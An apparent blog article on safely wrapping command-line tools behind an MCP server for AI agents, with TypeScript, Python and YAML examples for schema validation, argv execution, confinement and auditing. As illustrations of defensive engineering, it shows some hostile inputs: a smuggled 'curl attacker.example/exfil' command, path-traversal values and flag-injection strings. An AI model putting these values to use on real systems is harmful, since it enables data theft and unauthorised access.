The first time someone asks for “CLI access” from an AI agent, the request usually sounds harmless:
“Can the agent just run our internal CLI? It already does everything we need.”
Technically, yes. Operationally, that is one of the fastest ways to hand an unpredictable system a shell with extra steps.
The good news is that you usually do not need to expose shell access to get the value of a CLI. You can wrap the CLI behind an MCP server as a small set of tightly scoped tools. The model gets capabilities. You keep control.
This article is about that boundary: how to build an MCP server around an existing command-line tool without giving the model arbitrary execution, shell interpolation, filesystem wander, or uncontrolled side effects.
TL;DR
If you only remember five things:
- Do not expose
run_command,shell, or pass-through CLI arguments. - Expose named capabilities, such as
list_deployments, notkubectl. - Validate every input with a strict schema before execution.
- Spawn processes with argv arrays, never shell strings.
- Confine files, environment, network, credentials, time, and output size.
A safe CLI-backed MCP server is not a command runner. It is a capability gateway.
📋 Table of Contents
- The Real Problem
- 1. Start With Capabilities Not Command Strings
- 2. Define a Strict MCP Tool Schema
- 3. Execute With argv Arrays Not Shell Strings
- 4. Use a Declarative Adapter for Repeatable Wrappers
- 5. Confine Files Environment and Network
- 6. Add Timeouts Output Caps and Kill Switches
- 7. Turn CLI Output Into Structured Tool Results
- 8. Run the Server Under Least Privilege
- 9. Audit Every Tool Call Like a Production API
- Choosing the Right Wrapper Strategy
- Production Checklist
The Real Problem
A CLI is not an API.
A command-line tool is usually designed for a human operator who understands flags, side effects, config files, environment variables, and the consequences of a typo. An MCP tool, by contrast, is called by a model or an orchestration layer that may be creative, impatient, and occasionally wrong.
If your MCP server exposes something like this:
{
"name": "run_cli",
"description": "Run a command with our internal CLI",
"inputSchema": {
"type": "object",
"properties": {
"command": {
"type": "string"
}
},
"required": ["command"]
}
}
then you have not built a tool. You have built a remote procedure call for arbitrary execution.
The danger is not only classic shell injection. It is broader than that:
- The model may pass flags you did not anticipate.
- The CLI may read config files from unexpected locations.
- The CLI may have escape hatches like
--exec,-e,eval,apply,exec,run, or plugin loading. - The CLI may write files, open network connections, or mutate external systems.
- The CLI may interpret environment variables in dangerous ways.
- The CLI output may contain sensitive data.
- The model may be influenced by untrusted content and then call your tool in a way you did not intend.
The goal is therefore not “prevent shell injection.” That is table stakes.
The real goal is:
Turn a broad, stateful, human-oriented command-line tool into a narrow, auditable, machine-facing MCP capability surface.
The rest of this article walks through nine practical patterns for doing that.
1. Start With Capabilities Not Command Strings
Scenario
Your team wants an internal agent to inspect Kubernetes workloads. The easiest first implementation is:
server.setRequestHandler(CallToolRequestSchema, async (request) => {
const command = String(request.params.arguments?.command ?? "");
// Please do not do this.
return runSomehow(command);
});
Or, only slightly better:
{
"name": "kubectl",
"inputSchema": {
"type": "object",
"properties": {
"args": {
"type": "array",
"items": { "type": "string" }
}
}
}
}
Both are dangerous. The first is basically shell access. The second is pass-through access to a powerful administrative binary.
Why the obvious solution is insufficient
A generic kubectl tool allows the model to do anything kubectl can do with the server’s credentials. That may include:
- reading secrets
- deleting workloads
- executing into pods
- applying arbitrary manifests
- changing contexts or namespaces
- using plugins
- reading local files via
--filename - interacting with cloud provider auth plugins
Even if you only intended “read-only logs,” the tool surface says something much larger.
Solution
Start by listing the actual capabilities the agent needs.
Not:
“Give it kubectl.”
Instead:
| Business need | Safe MCP tool |
|---|---|
| See what deployments exist in staging | list_deployments |
| Inspect recent pod logs | get_pod_logs |
| Check rollout status | get_rollout_status |
| View resource usage | get_resource_usage |
Each becomes a separate MCP tool with its own schema, permissions, timeout, output shape, and audit policy.
For example:
const tools = [
{
name: "list_deployments",
description: "List deployments in an allowed read-only namespace.",
inputSchema: {
type: "object",
properties: {
namespace: {
type: "string",
enum: ["staging", "prod-ro"]
},
labelSelector: {
type: "string",
pattern:
"^[a-zA-Z0-9_./-]+(=[a-zA-Z0-9_.-]+)?(,[a-zA-Z0-9_./-]+(=[a-zA-Z0-9_.-]+)?)*$",
maxLength: 200
}
},
required: ["namespace"],
additionalProperties: false
}
},
{
name: "get_pod_logs",
description: "Fetch bounded recent logs for a pod in an allowed namespace.",
inputSchema: {
type: "object",
properties: {
namespace: {
type: "string",
enum: ["staging", "prod-ro"]
},
pod: {
type: "string",
pattern: "^[a-z0-9]([-a-z0-9.]*[a-z0-9])?$",
maxLength: 253
},
container: {
type: "string",
pattern: "^[a-z0-9]([-a-z0-9]*[a-z0-9])?$",
maxLength: 63
},
tail: {
type: "integer",
minimum: 1,
maximum: 1000
}
},
required: ["namespace", "pod"],
additionalProperties: false
}
}
];
Why this works
The attack surface becomes enumerable.
Instead of reviewing “can the model run kubectl?”, you can review:
- Which namespaces are allowed?
- Which subcommands are used?
- Which flags are fixed?
- Which arguments are model-controlled?
- Which outputs may contain sensitive data?
- Which operations are read-only?
- Which operations mutate state?
That is a security review. A generic command runner is not.
💡 Practical note: If you cannot name the capability in plain language, it is probably not ready to be an MCP tool. “Run kubectl” is not a capability. “List deployments in staging” is.
2. Define a Strict MCP Tool Schema
Scenario
You expose a get_pod_logs tool. The model sends:
{
"namespace": "*",
"pod": "../../etc/passwd",
"tail": 999999
}
Or it sends an unexpected field:
{
"namespace": "prod",
"pod": "api",
"--kubeconfig": "/home/admin/.kube/secret-config"
}
If your server blindly trusts arguments, you have a problem.
Why schema validation matters
MCP tool definitions include an inputSchema, usually expressed as JSON Schema. That schema is not decorative. It is your first line of defense.
But there is an important detail:
Do not assume the MCP client validated the input. The server must validate it too.
The model may hallucinate fields. A client may have bugs. A malicious or compromised client may send malformed requests. Your MCP server should treat incoming tool arguments the same way an HTTP API treats request bodies: untrusted until validated.
Solution
Use strict schemas with:
- explicit types
- enums for controlled values
- regex patterns for names
- minimum and maximum values
- max lengths
additionalProperties: false
Then validate again server-side.
Example using Ajv in TypeScript:
import Ajv from "ajv";
const ajv = new Ajv({
allErrors: true,
coerceTypes: false,
useDefaults: false,
strict: true
});
const listDeploymentsSchema = {
type: "object",
properties: {
namespace: {
type: "string",
enum: ["staging", "prod-ro"]
},
labelSelector: {
type: "string",
pattern:
"^[a-zA-Z0-9_./-]+(=[a-zA-Z0-9_.-]+)?(,[a-zA-Z0-9_./-]+(=[a-zA-Z0-9_.-]+)?)*$",
maxLength: 200
}
},
required: ["namespace"],
additionalProperties: false
};
const getPodLogsSchema = {
type: "object",
properties: {
namespace: {
type: "string",
enum: ["staging", "prod-ro"]
},
pod: {
type: "string",
pattern: "^[a-z0-9]([-a-z0-9.]*[a-z0-9])?$",
maxLength: 253
},
container: {
type: "string",
pattern: "^[a-z0-9]([-a-z0-9]*[a-z0-9])?$",
maxLength: 63
},
tail: {
type: "integer",
minimum: 1,
maximum: 1000
}
},
required: ["namespace", "pod"],
additionalProperties: false
};
const validators = new Map([
["list_deployments", ajv.compile(listDeploymentsSchema)],
["get_pod_logs", ajv.compile(getPodLogsSchema)]
]);
Then in the MCP call handler:
server.setRequestHandler(CallToolRequestSchema, async (request) => {
const name = request.params.name;
const args = request.params.arguments ?? {};
const validate = validators.get(name);
if (!validate) {
return {
isError: true,
content: [{ type: "text", text: `Unknown tool: ${name}` }]
};
}
if (!validate(args)) {
return {
isError: true,
content: [
{
type: "text",
text: `Invalid arguments: ${ajv.errorsText(validate.errors)}`
}
]
};
}
// Safe to continue.
});
Why this works
Validation converts “anything can happen” into a bounded set of accepted inputs.
You are no longer asking:
What might the model send?
You are defining:
What will the server accept?
That distinction is crucial. A model is allowed to be wrong. Your server is not allowed to be surprised.
The important part
JSON Schema validates shape, not intent.
A valid namespace is still a namespace. A valid file name can still point to sensitive data. A valid integer can still cause expensive work.
Schema validation is necessary, but it is not sufficient. It must be paired with restricted execution, confined resources, and least-privilege credentials.
3. Execute With argv Arrays Not Shell Strings
Scenario
You have a tool that fetches logs for a pod. The model passes:
{
"pod": "api; curl attacker.example/exfil?data=secret"
}
If you build a command string and pass it to a shell, you are in trouble.
Even without shell injection, command strings are fragile:
- quotes are annoying
- spaces break arguments
- environment expansion may happen
- globbing may happen
- shell built-ins may be available
- redirection may be possible
Solution
Never use a shell if you can avoid it.
In Node.js, use spawn or execFile with an argument array. Do not use exec for untrusted or model-influenced input.
import { spawn } from "node:child_process";
const KUBECTL = "/usr/local/bin/kubectl";
const child = spawn(
KUBECTL,
[
"logs",
pod,
"--namespace",
namespace,
"--tail",
String(tail),
"--timestamps"
],
{
shell: false,
stdio: ["ignore", "pipe", "pipe"]
}
);
In Python:
import subprocess
subprocess.run(
[
"/usr/local/bin/kubectl",
"logs",
pod,
"--namespace",
namespace,
"--tail",
str(tail),
"--timestamps",
],
shell=False,
check=False,
timeout=20,
capture_output=True,
cwd="/var/empty",
env={
"PATH": "/usr/bin:/bin",
"KUBECONFIG": "/etc/mcp/kubeconfig",
},
)
Why this works
With an argv array, the operating system receives the binary and arguments directly. There is no shell parsing layer that can reinterpret semicolons, pipes, backticks, redirects, or glob patterns.
This eliminates a whole class of injection problems.
But it does not eliminate all problems.
Option injection is still possible
Even with argv arrays, a user-controlled value can start with - and be interpreted as a flag.
For example, if your CLI accepts file names and the model passes:
--output=/etc/passwd
or:
--config=/malicious/config
then you may still have a problem.
Mitigations:
- Use enums whenever possible.
- Reject values beginning with
-unless explicitly expected. - Place fixed flags before user values.
- Use
--where the CLI supports it. - Prefix file values with
./when appropriate. - Prefer structured inputs over free-text inputs.
Example:
const argv = [
"convert",
"--format",
"json",
"--",
inputPath,
outputPath
];
The -- convention tells many CLIs that everything after it is a positional argument, not a flag. Not every CLI supports it, but when it does, use it.
⚠️ Gotcha:
shell: falseprevents shell injection, not CLI flag abuse. Your schema must still prevent dangerous values.
4. Use a Declarative Adapter for Repeatable Wrappers
Scenario
You wrapped one CLI successfully. Now you need to wrap six more:
- a database query CLI
- a media conversion CLI
- a cloud inventory CLI
- a log search CLI
- a deployment status CLI
- an internal support diagnostic CLI
If you copy and paste handler code for every one, you will eventually make a mistake. One handler forgets timeout logic. Another forgets output caps. Another logs secrets. Another validates inconsistently.
Solution
Build a declarative adapter layer.
Instead of writing bespoke code for every CLI, describe each safe operation in configuration. The MCP server reads that configuration and turns each entry into an MCP tool.
Example YAML:
tools:
- name: list_deployments
description: List deployments in an allowed namespace.
binary: /usr/local/bin/kubectl
timeoutMs: 20000
maxOutputBytes: 512000
cwd: /var/empty
env:
KUBECONFIG: /etc/mcp/kubeconfig
HOME: /var/empty
argv:
- get
- deployments
- --namespace
- "{namespace}"
- --output
- json
inputSchema:
type: object
properties:
namespace:
type: string
enum:
- staging
- prod-ro
required:
- namespace
additionalProperties: false
- name: get_pod_logs
description: Fetch bounded recent logs for a pod.
binary: /usr/local/bin/kubectl
timeoutMs: 20000
maxOutputBytes: 1048576
cwd: /var/empty
env:
KUBECONFIG: /etc/mcp/kubeconfig
HOME: /var/empty
argv:
- logs
- "{pod}"
- --namespace
- "{namespace}"
- --tail
- "{tail}"
- --timestamps
inputSchema:
type: object
properties:
namespace:
type: string
enum:
- staging
- prod-ro
pod:
type: string
pattern: "^[a-z0-9]([-a-z0-9.]*[a-z0-9])?$"
maxLength: 253
tail:
type: integer
minimum: 1
maximum: 1000
required:
- namespace
- pod
additionalProperties: false
At runtime, your adapter does the following:
- Loads the config.
- Registers each entry as an MCP tool.
- Validates arguments against the declared schema.
- Replaces placeholders only after validation.
- Spawns the declared binary with an argv array.
- Applies timeouts, output caps, environment restrictions, and audit logging.
Why this works
A declarative adapter gives you consistency.
Every tool gets:
- validation
- timeouts
- output limits
- audit logs
- environment confinement
- fixed binary paths
- structured errors
It also gives reviewers something concrete to inspect. A pull request that changes a YAML adapter is much easier to review than a pile of ad hoc handler functions.
What to avoid
Do not let the config become a miniature programming language.
Avoid things like:
argv:
- "${user.expression}"
or:
shellTemplate: "kubectl {{ args }}"
or anything that evaluates expressions, interpolates arbitrary strings into shell commands, or dynamically constructs binaries.
The adapter should be boring. Boring is good.
🧠 The important part: A declarative wrapper is safe only if placeholders are replaced after validation and if the argv list remains fixed. If the model can influence the structure of the command, you have recreated the problem.
5. Confine Files Environment and Network
Scenario
You wrap a media conversion CLI. The tool accepts an input file and output file. Seems simple.
Then the model passes:
{
"input": "../../etc/passwd",
"output": "/etc/cron.d/evil"
}
Or the CLI automatically reads config from $HOME/.config/tool/config.toml.
Or it fetches remote assets from a URL embedded in the input file.
Now your “simple wrapper” has filesystem and network reach.
Why this matters
CLIs often have implicit inputs:
- config files
- environment variables
- credential helpers
- plugin directories
- caches
- temporary directories
- network fetchers
- locale and timezone files
- dynamically loaded extensions
If you only validate explicit arguments, you may still be exposing too much.
Filesystem confinement
If your MCP tool needs to touch files, restrict where it can do so.
Prefer explicit directories:
/srv/mcp/uploads
/srv/mcp/outputs
/srv/mcp/tmp
Then resolve and validate paths.
import { realpath } from "node:fs/promises";
import path from "node:path";
async function confinedPath(root: string, userPath: string): Promise<string> {
const rootReal = await realpath(root);
const resolved = path.resolve(rootReal, userPath);
const real = await realpath(resolved).catch(() => {
throw new Error("File does not exist or cannot be inspected");
});
if (real !== rootReal && !real.startsWith(rootReal + path.sep)) {
throw new Error("Path is outside the allowed directory");
}
return real;
}
For output files that do not exist yet, validate the resolved path before writing:
function confinedOutputPath(root: string, userPath: string): string {
const rootReal = path.resolve(root);
const resolved = path.resolve(rootReal, userPath);
if (resolved !== rootReal && !resolved.startsWith(rootReal + path.sep)) {
throw new Error("Output path is outside the allowed directory");
}
return resolved;
}
This is not perfect by itself. Symlinks, race conditions, and permissions still matter. But it prevents the most obvious path traversal mistakes.
Environment confinement
Do not pass your server’s full environment to the CLI.
Use a minimal environment:
env: {
PATH: "/usr/bin:/bin",
HOME: "/var/empty",
KUBECONFIG: "/etc/mcp/kubeconfig"
}
Avoid passing:
AWS_PROFILEAWS_SECRET_ACCESS_KEYGITHUB_TOKENOPENAI_API_KEYDATABASE_URLHOMESSH_AUTH_SOCKDOCKER_CONFIGKUBECONFIGunless explicitly required
If the CLI needs credentials, prefer a scoped credential file with strict permissions over model-controlled environment variables.
Network confinement
Ask whether the CLI needs network access.
If not, block it.
If yes, restrict it:
- allow only required hosts
- use a proxy if possible
- disable remote asset fetching if the CLI supports it
- avoid giving the CLI access to internal metadata endpoints
- never let the model choose arbitrary URLs unless that is an explicitly reviewed capability
Practical note
If a CLI has plugin loading, scripting, or extension mechanisms, treat those as code execution.
Examples of risky escape hatches:
gitconfig hooks and aliaseskubectlpluginsdocker runfind -execxargsawkwithsystem()python -cnode -e- interpreters in general
If your wrapper cannot disable those escape hatches, do not expose that CLI broadly.
6. Add Timeouts Output Caps and Kill Switches
Scenario
You expose a log-fetching tool. One day, the model asks for too many logs, or the CLI hangs waiting for input, or a deployment is stuck in a weird state.
The MCP tool call now hangs indefinitely.
Or worse: it returns 200 MB of logs and blows up the model context.
Why this matters
An MCP server is not only a security boundary. It is also a resource boundary.
A misbehaving CLI can:
- hang the server
- consume CPU
- fill disk
- exhaust memory
- produce huge outputs
- spawn child processes
- block other tool calls
Your MCP server needs to fail fast and fail bounded.
Solution
Every process you spawn should have:
- a timeout
- an output size cap
- a way to kill the process tree
- a bounded error result
- structured failure metadata
A practical Node.js helper:
import { spawn } from "node:child_process";
type ExecResult = {
exitCode: number;
stdout: string;
stderr: string;
timedOut: boolean;
truncated: boolean;
};
async function runCli(
binary: string,
args: string[],
opts: {
timeoutMs?: number;
maxOutputBytes?: number;
env?: NodeJS.ProcessEnv;
cwd?: string;
} = {}
): Promise<ExecResult> {
const timeoutMs = opts.timeoutMs ?? 15_000;
const maxOutputBytes = opts.maxOutputBytes ?? 512_000;
return new Promise((resolve, reject) => {
let stdout = "";
let stderr = "";
let stdoutBytes = 0;
let stderrBytes = 0;
let truncated = false;
let timedOut = false;
let settled = false;
const child = spawn(binary, args, {
shell: false,
stdio: ["ignore", "pipe", "pipe"],
cwd: opts.cwd ?? "/var/empty",
env: {
PATH: "/usr/bin:/bin",
...opts.env
},
detached: process.platform !== "win32"
});
const killTree = () => {
try {
if (child.pid && process.platform !== "win32") {
process.kill(-child.pid, "SIGKILL");
} else {
child.kill("SIGKILL");
}
} catch {
// The process may already be gone. That is fine.
}
};
const timer = setTimeout(() => {
timedOut = true;
killTree();
}, timeoutMs);
const finish = () => {
if (settled) return;
settled = true;
clearTimeout(timer);
resolve({
exitCode: child.exitCode ?? -1,
stdout,
stderr,
timedOut,
truncated
});
};
child.stdout.on("data", (chunk: Buffer) => {
if (stdoutBytes >= maxOutputBytes) return;
const remaining = maxOutputBytes - stdoutBytes;
if (chunk.length > remaining) {
truncated = true;
chunk = chunk.subarray(0, remaining);
}
stdoutBytes += chunk.length;
stdout += chunk.toString("utf8");
if (stdoutBytes >= maxOutputBytes) {
killTree();
}
});
child.stderr.on("data", (chunk: Buffer) => {
if (stderrBytes >= maxOutputBytes) return;
const remaining = maxOutputBytes - stderrBytes;
if (chunk.length > remaining) {
truncated = true;
chunk = chunk.subarray(0, remaining);
}
stderrBytes += chunk.length;
stderr += chunk.toString("utf8");
if (stderrBytes >= maxOutputBytes) {
killTree();
}
});
child.on("error", (err) => {
if (settled) return;
settled = true;
clearTimeout(timer);
reject(err);
});
child.on("close", finish);
});
}
Use it like this:
const result = await runCli(
KUBECTL,
[
"logs",
pod,
"--namespace",
namespace,
"--tail",
String(tail),
"--timestamps"
],
{
timeoutMs: 20_000,
maxOutputBytes: 1_000_000,
env: {
KUBECONFIG: "/etc/mcp/kubeconfig",
HOME: "/var/empty"
}
}
);
if (result.timedOut) {
return {
isError: true,
content: [{ type: "text", text: "CLI timed out." }]
};
}
if (result.exitCode !== 0) {
return {
isError: true,
content: [{ type: "text", text: redact(result.stderr) }]
};
}
Why this works
You are treating the CLI as an untrusted dependency.
Even if the CLI is trusted today, future versions, plugins, configs, or inputs may behave differently. Timeouts and output caps protect the MCP server, the MCP client, and the model context.
🚨 Production warning: If your MCP server uses stdio transport, do not write logs or diagnostics to stdout. stdout is part of the MCP protocol. Use stderr, files, or a separate logging transport.
7. Turn CLI Output Into Structured Tool Results
Scenario
Your CLI returns this:
WARNING: config file not found
Using fallback environment
Deployment api ready
{"status":"ok","ready":3}
[INFO] retrying metrics fetch
The model receives one blob of text. It may misinterpret warnings, mix structured and unstructured data, or focus on the wrong part.
Why this matters
MCP tool results are consumed by models and orchestration logic. Raw CLI output is often optimized for humans, not machines.
Common problems:
- ANSI color codes
- progress bars
- warnings mixed with data
- localized messages
- huge JSON documents
- secret-looking strings
- stack traces
- paths and hostnames you do not want to leak
If you return raw output by default, you are making the model do parsing work it may do badly.
Solution
Normalize output before returning it.
For JSON-producing CLIs:
function normalizeJsonOutput(raw: string): unknown {
const parsed = JSON.parse(raw);
// Shape the output into something bounded and useful.
return {
ok: parsed?.status === "ok",
items: Array.isArray(parsed?.items) ? parsed.items.slice(0, 100) : [],
truncated: Array.isArray(parsed?.items) && parsed.items.length > 100
};
}
Then return it as text content:
return {
content: [
{
type: "text",
text: JSON.stringify(normalizeJsonOutput(result.stdout), null, 2)
}
]
};
For error results, do not automatically return full stderr.
function safeErrorText(stderr: string): string {
const cleaned = stderr
.replace(/token=[^\s&]+/gi, "token=[redacted]")
.replace(/password=[^\s&]+/gi, "password=[redacted]")
.replace(/Bearer [A-Za-z0-9._-]+/gi, "Bearer [redacted]")
.trim();
return cleaned.slice(0, 2000);
}
Then:
if (result.exitCode !== 0) {
return {
isError: true,
content: [
{
type: "text",
text: `Command failed: ${safeErrorText(result.stderr)}`
}
]
};
}
Prefer summaries over full dumps
If a CLI returns 10,000 rows, do not return 10,000 rows.
Return:
{
"count": 10342,
"showing": 100,
"items": []
}
Or return a reference to an artifact if your system supports one:
{
"count": 10342,
"artifactId": "report-2026-02-14-9f3c",
"message": "Full report stored. Ask for summary or filtered subsets."
}
This is not just a token-saving trick. It changes the interaction model from “dump everything into the model” to “query bounded information deliberately.”
Why this works
Structured output makes your MCP server easier to use and safer to operate.
It also gives you a place to enforce policy:
- redaction
- truncation
- field allow-lists
- pagination
- error normalization
- removal of internal hostnames or stack traces
The MCP server becomes not just an executor, but an interpreter.
8. Run the Server Under Least Privilege
Scenario
You did everything right: strict schema, argv arrays, timeouts, output limits. Then a vulnerability is discovered in the CLI itself. Maybe it parses a malformed input incorrectly. Maybe a plugin loader is exploitable. Maybe a dependency has a bug.
If your MCP server runs as root with full network access and your production credentials, the blast radius is enormous.
Why sandboxing matters
Validation reduces expected misuse. Least privilege reduces unexpected misuse.
You need both.
A safe CLI-backed MCP server should run with the minimum permissions required to perform its declared capabilities.
Practical controls
| Control | Why it helps |
|---|---|
| Non-root user | Limits filesystem and system access |
| Read-only root filesystem | Prevents persistent changes |
| Writable tmp directory only | Confines temporary file creation |
| Dedicated service account | Prevents access to unrelated resources |
| Scoped credentials | Limits damage if CLI is abused |
| Network egress restriction | Prevents data exfiltration and SSRF-style abuse |
| Container or OS sandbox | Adds isolation from host and other services |
| No shell binaries in image | Reduces convenient escape routes |
| Minimal installed packages | Reduces attack surface |
For example, a Kubernetes read-only wrapper might run with:
User: mcp-kubectl-ro
Filesystem: read-only except /tmp
Kubeconfig: read-only file with read-only service account token
Network: allowed only to Kubernetes API endpoint
No SSH keys
No cloud admin credentials
No shell needed
Credential design matters
If your CLI talks to an external system, the credentials used by the MCP server should be scoped to the tool’s capabilities.
For example:
- read-only database user
- read-only cloud IAM role
- restricted API token
- namespace-scoped Kubernetes service account
- short-lived credentials where possible
Do not give the MCP server admin credentials just because the CLI supports admin operations. If your tool surface is read-only, the credentials should be read-only too.
Containerization is useful, but not magic
Running the MCP server in a container is helpful, especially when combined with:
- non-root user
- read-only filesystem
- resource limits
- network policies
- dropped capabilities
- seccomp/AppArmor profiles where appropriate
But a container does not excuse a generic command tool. If your MCP server exposes arbitrary execution inside a container, you still have arbitrary execution. It is just contained arbitrary execution.
That may be acceptable in some tightly controlled research environments. It is usually not acceptable in production.
🔍 Why this matters: Sandboxes contain failure. They do not replace input design. The best sandbox cannot fix a tool that says, “Do whatever the model asks.”
9. Audit Every Tool Call Like a Production API
Scenario
Something weird happens. A user says the agent listed resources it should not have listed. Or a tool mutated something. Or a workflow called the same expensive CLI fifty times.
You open your logs and discover you only logged:
Tool called
That is not enough.
Why auditing matters
An MCP server that executes external processes is a production system. It needs the same observability as an HTTP API, queue worker, or admin panel.
You need to answer:
- Which tool was called?
- When?
- By which client or session?
- With which validated arguments?
- Which binary and argv were executed?
- What was the exit code?
- Did it time out?
- Was output truncated?
- How long did it take?
- Was the result an error?
- Were any secrets redacted?
- Can the event be correlated with a request ID?
Solution
Emit structured audit events.
If you are using stdio MCP transport, write logs to stderr or a file, not stdout.
type AuditEvent = {
requestId: string;
tool: string;
args: Record<string, unknown>;
argv?: string[];
exitCode?: number;
timedOut?: boolean;
truncated?: boolean;
durationMs?: number;
error?: string;
};
function audit(event: AuditEvent): void {
const record = {
...event,
time: new Date().toISOString(),
service: "mcp-cli-wrapper"
};
process.stderr.write(JSON.stringify(record) + "\n");
}
Use it around tool execution:
const requestId = crypto.randomUUID();
const startedAt = Date.now();
audit({
requestId,
tool: name,
args: redactArgs(args)
});
try {
const result = await runCli(binary, argv, options);
audit({
requestId,
tool: name,
args: redactArgs(args),
argv,
exitCode: result.exitCode,
timedOut: result.timedOut,
truncated: result.truncated,
durationMs: Date.now() - startedAt
});
return toMcpResult(result);
} catch (err) {
audit({
requestId,
tool: name,
args: redactArgs(args),
error: err instanceof Error ? err.message : String(err),
durationMs: Date.now() - startedAt
});
throw err;
}
Redact before logging
Do not log secrets.
Be careful with:
- tokens
- passwords
- signed URLs
- cookies
- private keys
- cloud credentials
- connection strings
- authorization headers
- kubeconfig contents
A simple redaction helper is better than nothing, but a deliberate redaction policy is better than a regex.
function redactArgs(args: Record<string, unknown>): Record<string, unknown> {
const copy = structuredClone(args);
for (const key of Object.keys(copy)) {
if (/token|secret|password|key|credential/i.test(key)) {
copy[key] = "[redacted]";
}
}
return copy;
}
Metrics are worth it too
From the same events, derive metrics:
- tool call count
- error rate
- timeout rate
- p50/p95/p99 duration
- output truncation rate
- exit code distribution
- CLI binary version
- sandbox/container metadata
This helps you detect abuse, flaky CLIs, and bad model behavior before they become incidents.
Choosing the Right Wrapper Strategy
Not every CLI deserves an MCP wrapper. In many cases, a native SDK or API is better. In other cases, a CLI wrapper is the fastest safe path.
Here is a practical comparison.
| Approach | Best for | Security posture | Effort | Flexibility |
|---|---|---|---|---|
| Native SDK/API | Stable services with official clients | Usually best | Medium | High |
| Narrow CLI wrapper | Read-only or bounded CLI operations | Good if strict | Low to medium | Medium |
| Declarative CLI adapter | Multiple similar CLI tools | Good if enforced | Medium | Medium |
| Generic CLI runner | Almost nothing in production | Poor | Low | Dangerous |
| Terminal/PTY bridge | Interactive human debugging only | Very poor for agents | Medium | Dangerous |
When a CLI wrapper is a good idea
A CLI wrapper makes sense when:
- the CLI is stable
- the needed operations are narrow
- the CLI supports non-interactive output
- the CLI can be run with fixed credentials
- dangerous flags can be avoided
- output can be parsed or bounded
- the operation is read-only or safely idempotent
- you can confine filesystem and network access
Examples that can work well:
- read-only infrastructure inventory
- bounded log retrieval
- report generation with fixed templates
- media conversion with constrained input/output directories
- structured data extraction with fixed queries
- status checks
When to avoid wrapping a CLI
Avoid wrapping a CLI when:
- it is effectively an interpreter
- it supports arbitrary code execution
- it has many dangerous escape hatches
- it requires broad filesystem access
- it needs interactive prompts
- it relies on user-specific credentials that cannot be scoped
- the model needs to invent arbitrary flags
- the CLI is a thin wrapper around a shell
- the operation is highly privileged and not auditable
Examples that are usually bad MCP tools:
sshbashshpythonnodedocker runkubectl execgitwith arbitrary config and hookscurlwith arbitrary URLs and headers- package managers with arbitrary script execution
The problem is not that these tools are bad. They are often excellent. The problem is that their capability surface is too broad for an autonomous model to use safely.
A Minimal but Real MCP Server Shape
Putting the pieces together, a safe MCP server around a CLI usually looks like this:
import { Server } from "@modelcontextprotocol/sdk/server/index.js";
import { StdioServerTransport } from "@modelcontextprotocol/sdk/server/stdio.js";
import {
CallToolRequestSchema,
ListToolsRequestSchema
} from "@modelcontextprotocol/sdk/types.js";
const server = new Server(
{
name: "kubectl-ro-mcp",
version: "0.1.0"
},
{
capabilities: {
tools: {}
}
}
);
server.setRequestHandler(ListToolsRequestSchema, async () => {
return { tools };
});
server.setRequestHandler(CallToolRequestSchema, async (request) => {
const name = request.params.name;
const args = request.params.arguments ?? {};
const validate = validators.get(name);
if (!validate) {
return {
isError: true,
content: [{ type: "text", text: "Unknown tool" }]
};
}
if (!validate(args)) {
return {
isError: true,
content: [
{
type: "text",
text: `Invalid arguments: ${ajv.errorsText(validate.errors)}`
}
]
};
}
if (name === "list_deployments") {
const namespace = args.namespace as string;
const selector = args.labelSelector as string | undefined;
const argv = [
"get",
"deployments",
"--namespace",
namespace,
"--output",
"json"
];
if (selector) {
argv.push("--selector", selector);
}
const result = await runCli(KUBECTL, argv, {
timeoutMs: 20_000,
maxOutputBytes: 1_000_000,
env: {
KUBECONFIG: "/etc/mcp/kubeconfig",
HOME: "/var/empty"
}
});
if (result.timedOut) {
return {
isError: true,
content: [{ type: "text", text: "kubectl timed out" }]
};
}
if (result.exitCode !== 0) {
return {
isError: true,
content: [
{
type: "text",
text: `kubectl failed: ${safeErrorText(result.stderr)}`
}
]
};
}
return {
content: [
{
type: "text",
text: result.stdout
}
]
};
}
if (name === "get_pod_logs") {
const namespace = args.namespace as string;
const pod = args.pod as string;
const container = args.container as string | undefined;
const tail = (args.tail as number | undefined) ?? 200;
const argv = [
"logs",
pod,
"--namespace",
namespace,
"--tail",
String(tail),
"--timestamps"
];
if (container) {
argv.push("--container", container);
}
const result = await runCli(KUBECTL, argv, {
timeoutMs: 20_000,
maxOutputBytes: 1_000_000,
env: {
KUBECONFIG: "/etc/mcp/kubeconfig",
HOME: "/var/empty"
}
});
if (result.exitCode !== 0) {
return {
isError: true,
content: [
{
type: "text",
text: `kubectl failed: ${safeErrorText(result.stderr)}`
}
]
};
}
return {
content: [
{
type: "text",
text: result.stdout
}
]
};
}
return {
isError: true,
content: [{ type: "text", text: "Unhandled tool" }]
};
});
const transport = new StdioServerTransport();
await server.connect(transport);
This is still simplified, but it has the right shape:
- explicit tools
- strict schemas
- server-side validation
- fixed binary
- argv arrays
- controlled environment
- timeouts
- bounded output
- structured errors
That is the difference between a CLI integration and a shell exposure.
Production Checklist
Before shipping a CLI-backed MCP server, I would want to check these boxes.
Tool design
- No generic
run_commandtool - No pass-through CLI arguments
- Each tool represents one narrow capability
- Read-only and mutating tools are separated
- Dangerous CLI escape hatches are unavailable
- Tool descriptions do not encourage arbitrary command use
Input validation
- JSON Schema is strict
-
additionalProperties: false - Enums used where possible
- Strings have max length and pattern restrictions
- Numbers have min/max constraints
- Server-side validation happens before execution
- Unknown tools are rejected
Execution
- Binary path is absolute and pinned
- Process is spawned with argv array
- Shell is disabled
- No command string interpolation
- No user-controlled environment variables
- Fixed working directory is used
-
--is used where supported - Option injection is considered
- Secrets are not passed as CLI arguments
Confinement
- File access is limited to approved directories
- Symlinks and path traversal are handled
- Temporary files are confined
- Network access is blocked or restricted
- Credentials are scoped to required operations
- CLI config files are controlled
- Plugin or extension loading is disabled or reviewed
Reliability
- Timeout is enforced
- Output size is capped
- Error output is capped
- Process tree can be killed
- Hanging processes do not block the server
- Large results are summarized or paginated
- Errors are normalized
Observability
- Structured audit logs exist
- Logs do not go to MCP stdio stdout
- Secrets are redacted
- Request IDs are correlated
- Exit codes are recorded
- Timeouts and truncation are recorded
- Metrics exist for latency and failure rate
Deployment
- Server runs as non-root
- Filesystem is read-only where possible
- Container or OS sandbox is used where appropriate
- Resource limits are set
- Network policy is applied
- Credentials are mounted read-only
- The server has no interactive shell requirement
What I Would Choose
If I had to wrap an existing CLI for production MCP use, I would choose this order:
- Use a native SDK or API if one exists and is stable.
- If not, wrap only named read-only operations.
- If multiple CLIs are involved, build a declarative adapter with shared enforcement.
